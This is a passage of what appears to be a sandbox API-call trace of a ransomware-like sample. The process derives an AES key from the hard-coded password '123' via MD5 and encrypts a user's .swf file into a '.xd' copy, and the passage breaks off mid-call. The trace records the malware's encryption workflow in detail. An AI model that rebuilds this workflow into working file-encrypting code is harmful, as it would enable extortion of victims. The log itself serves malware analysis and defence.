lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.029] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.029] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.029] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.029] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.029] CloseHandle (hObject=0x0) returned 0 [0068.029] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.030] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.030] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.030] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.030] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.030] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.030] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.030] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.039] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.040] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.040] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.042] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.042] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.043] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.043] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0068.043] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.043] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.044] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.044] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.044] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.044] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.044] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.045] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.046] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.046] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.046] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.046] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.046] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.046] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.046] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.046] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.053] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.055] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.055] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.057] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.057] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.057] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.057] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.058] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.058] CryptHashData (hHash=0x164ca30, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.058] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.058] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.058] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.058] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.058] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.060] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.060] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164ca30, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.061] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.061] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.061] CryptDestroyHash (hHash=0x164ca30) returned 1 [0068.061] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.062] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\hjxn13kwkf.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.062] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.062] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.066] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.068] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\hjxn13kwkf.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.074] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.076] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7cdb, lpOverlapped=0x0) returned 1 [0068.077] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.084] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.126] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.126] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.126] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.129] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.130] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.130] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.133] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.133] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.134] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.134] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.134] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.134] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.134] CryptGetKeyParam (in: 